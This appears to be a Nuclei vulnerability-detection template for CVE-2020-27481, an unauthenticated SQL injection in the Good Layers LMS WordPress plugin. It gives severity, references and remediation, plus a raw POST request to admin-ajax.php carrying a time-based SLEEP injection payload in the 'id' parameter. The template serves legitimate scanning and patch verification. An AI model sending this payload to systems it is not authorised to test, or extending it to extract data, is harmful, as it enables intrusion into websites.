id: CVE-2020-27481 info: name: Good Layers LMS Plugin <= 2.1.4 - SQL Injection author: edoardottt severity: critical description: | An unauthenticated SQL Injection vulnerability in Good Layers LMS Plugin <= 2.1.4 exists due to the usage of "wp_ajax_nopriv" call in WordPress, which allows any unauthenticated user to get access to the function "gdlr_lms_cancel_booking" where POST Parameter "id" was sent straight into SQL query without sanitization. remediation: | Upgrade to the latest version of the Good Layers LMS Plugin (2.1.5 or higher) to mitigate this vulnerability. reference: - https://wpscan.com/vulnerability/652eaef8-5a3c-4a2d-ac60-b5414565c397 - https://gist.github.com/0xx7/a7aaa8b0515139cf7e30c808c8d54070 - https://nvd.nist.gov/vuln/detail/CVE-2020-27481 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2020-27481 cwe-id: CWE-89 epss-score: 0.09369 epss-percentile: 0.94024 cpe: cpe:2.3:a:goodlayers:good_learning_management_system:*:*:*:*:*:wordpress:*:* metadata: max-request: 1 vendor: goodlayers product: good_learning_management_system framework: wordpress tags: goodlayerslms,sqli,wpscan,cve,cve2020 http: - raw: - | @timeout: 15s POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded action=gdlr_lms_cancel_booking&id=(SELECT%201337%20FROM%20(SELECT(SLEEP(6)))MrMV) matchers: - type: dsl dsl: - "duration>=6" - "status_code == 200" - "contains(body, 'goodlayers-lms') || contains(body, 'goodlms')" condition: and # digest: 4a0a0047304502204ec4321510ff14cba870ba201fc5104baef42255277b57272edd4b413bf9a6fe022100e238369133110ef002c5772f3879a9d84232e49c226617bdfd3ce8696aac4b52:922c64590222798bb761d5b6d8e72950